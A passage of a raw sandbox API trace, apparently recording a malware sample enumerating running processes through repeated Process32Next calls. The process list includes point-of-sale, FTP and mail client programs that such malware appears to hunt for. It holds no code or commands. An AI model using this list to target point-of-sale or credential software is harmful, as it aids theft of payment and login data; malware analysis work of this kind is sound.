th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0219.610] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0219.612] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0219.614] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0219.616] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0219.619] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0219.621] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0219.623] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0219.626] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0219.654] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.657] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0219.660] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0219.663] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0219.665] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0219.668] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0219.674] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0219.677] CloseHandle (hObject=0x11c8) returned 1 [0219.677] Sleep (dwMilliseconds=0x64) [0219.678] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0219.695] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.697] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0219.713] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0219.715] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.717] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0219.720] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.723] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0219.725] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0219.727] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0219.728] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.730] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.731] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0219.733] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.735] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.736] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.738] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.739] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.741] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.742] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.744] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0219.746] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0219.748] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0219.749] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.751] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0219.753] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0219.755] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0219.757] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0219.760] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0219.762] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0219.763] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0219.765] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.767] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.769] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0219.770] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0219.772] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0219.773] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0219.775] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0219.811] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0219.813] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0219.815] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0219.818] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0219.820] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0219.823] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0219.874] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0219.876] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0219.878] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0219.880] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0219.884] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0219.886] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0219.889] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0219.891] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0219.895] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0219.897] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0219.899] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0219.901] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0219.904] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0219.907] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0219.925] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0219.929] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0219.931] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0219.934] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0219.937] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0219.940] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0219.942] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0219.946] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0219.949] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0219.951] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, 